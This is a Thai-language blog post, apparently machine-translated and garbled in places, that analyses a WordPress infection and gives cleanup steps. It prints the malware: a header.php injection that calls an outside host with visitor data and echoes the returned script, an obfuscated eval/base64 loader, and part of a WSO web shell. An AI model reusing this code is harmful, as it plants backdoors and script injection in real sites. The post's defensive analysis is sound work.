WordPress ไวรัส - PHP Hack - Remove WordPress ไวรัส

วันอื่น ๆ ผมสังเกตเห็นอุปกรณ์ รหัสที่น่าสงสัย (ไวรัส / มัลแวร์) ในแหล่งที่มาของบล็อกที่กำลังทำงานอยู่ WordPress. โค้ด PHP ถัดไปในปัจจุบัน header.phpก่อนบรรทัด .

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

ฉันไม่รู้ว่าไวรัสตัวนี้เรียกว่าอะไรและ nimci macมันทำสิ่งที่มันทำ แต่ผู้เยี่ยมชมไซต์ที่ได้รับผลกระทบจะมองไม่เห็น แต่กลับทำให้เกิดการจัดอันดับอย่างมากในเครื่องมือค้นหา (โดยเฉพาะใน Google) และทำให้จำนวนผู้เยี่ยมชมเว็บไซต์ที่ได้รับผลกระทบลดลงอย่างมาก

รายละเอียดที่รู้จักกันเกี่ยวกับไฟล์ไวรัสนี้:

1 รหัสข้างต้นในปัจจุบัน header.php

ฮิต ลักษณะของไฟล์ WP-log.php ในโฟลเดอร์ WP-รวมถึง.

WP-บันทึก

ฮิต WP-log.php รหัสต่อไปนี้มีการเข้ารหัส:

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

รหัสในการถอดรหัสไฟล์ wp-log.php:


<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

4. หากเข้าถึงเพจโดยตรง numeblog.com/wp-includes/wp-log.php หน้าที่มีเขตข้อมูลจะปรากฏขึ้น การรับรอง. เมื่อมองแวบแรกดูเหมือนว่าจะเป็นไฟล์ file ผู้จัดการ

น้ำยาทำความสะอาด WORDPRESS.

1. ก่อนอื่นให้ลบรหัสจาก header.php และไฟล์ WP-log.php จาก WP-รวมถึง.

2. ตรวจสอบไฟล์ .htaccess คำสั่งที่น่าสงสัย บรรทัดการอนุญาตหรือการเรียกใช้สคริปต์

3. ตรวจสอบโฟลเดอร์ธีม (/ wp-content /ธีม/ Nume_tema). มองหาไฟล์ใหม่และไฟล์ที่มีอยู่ (โดยเฉพาะไฟล์. php) ที่มีการเปลี่ยนแปลงที่น่าสงสัย

4. ตรวจสอบโฟลเดอร์ เสียบเข้าไปงาน CES (wp-content/plugins).

5. ตรวจสอบ wp เนื้อหา ของไฟล์ที่น่าสงสัย

6. ตรวจสอบสิทธิ์การเขียนสำหรับโฟลเดอร์และไฟล์ chmod si chown.

การแนะนำการหลอกลวง WORDPRESS.

1. ในขั้นแรกควรทำการสำรองไฟล์บล็อกและฐานข้อมูลทั้งหมด

2. ลบโฟลเดอร์ wp-admin si WP-รวมถึง และไฟล์ทั้งหมด . Php จากรากของไซต์ หากคุณมีไฟล์. php ที่กำหนดเองคุณควรตรวจสอบด้วยตนเอง

3. ดาวน์โหลดเวอร์ชันปัจจุบันของ WordPress และอัปโหลด

4. ตรวจสอบฐานข้อมูลสำหรับผู้ใช้ที่มียศ administrator.

นั่นคือทั้งหมดที่เราต้องพูดเกี่ยวกับไวรัสตัวนี้ แต่หากคุณมีข้อมูลเพิ่มเติมหรือหากเราค้นพบรายละเอียดใหม่ ๆ เรายินดีที่จะอัปเดตบทความนี้

STEALTH SETTINGS - ลบ WORDPRESS ไวรัส .

ผู้ก่อตั้งและบรรณาธิการ Stealth Settingsตั้งแต่ปี 2006 ถึงปัจจุบัน ประสบการณ์บนระบบปฏิบัติการ Linux (โดยเฉพาะ CentOS) Mac OS X, Windows XP> Windows 10 si WordPress (CMS)

แสดงความคิดเห็น